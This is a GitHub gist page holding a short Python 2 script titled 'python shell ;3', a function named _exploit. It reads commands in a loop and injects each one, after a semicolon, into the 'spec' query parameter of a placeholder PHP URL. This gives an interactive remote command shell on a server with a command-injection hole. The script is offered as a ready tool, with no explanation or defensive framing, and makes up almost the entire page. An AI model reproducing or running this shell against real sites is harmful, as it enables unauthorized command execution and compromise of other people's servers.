Skip to content

Instantly share code, notes, and snippets.

@Tak31337
Last active December 16, 2015 00:19
Show Gist options
  • Save Tak31337/5346580 to your computer and use it in GitHub Desktop.
Save Tak31337/5346580 to your computer and use it in GitHub Desktop.
python shell ;3
#!/usr/bin/env python
import sys
import urllib2
import logging
def _exploit(log):
url="http://www.someurl.com/index.php?spec="
opener = urllib2.build_opener(urllib2.HTTPHandler)
while True:
input = raw_input('>')
if input is 'exit':
break;
else:
try:
f = opener.open(url + ';' + input + '&;')
except urllib2.HTTPError, err:
if err.code == 404:
log.error("404 - page not found.")
sys.exit(1)
elif err.code == 403:
log.error("403 - access denied.")
sys.exit(1)
else:
log.error("HTTPError code " + str(err.code))
sys.exit(1)
except urllib2.URLError, err:
log.error("UrlError: " + str(err.reason))
sys.exit(1)
log.debug(f.read())
log.info('Command executed...')
if __name__ == "__main__":
'''
Setup the logger and stuff.
'''
log = logging.getLogger("Python Shell")
log.setLevel(logging.INFO)
fh = logging.FileHandler('log')
fh.setLevel(logging.DEBUG)
ch = logging.StreamHandler()
ch.setLevel(logging.INFO)
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
ch.setFormatter(formatter)
fh.setFormatter(formatter)
log.addHandler(ch)
log.addHandler(fh)
_exploit(log)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment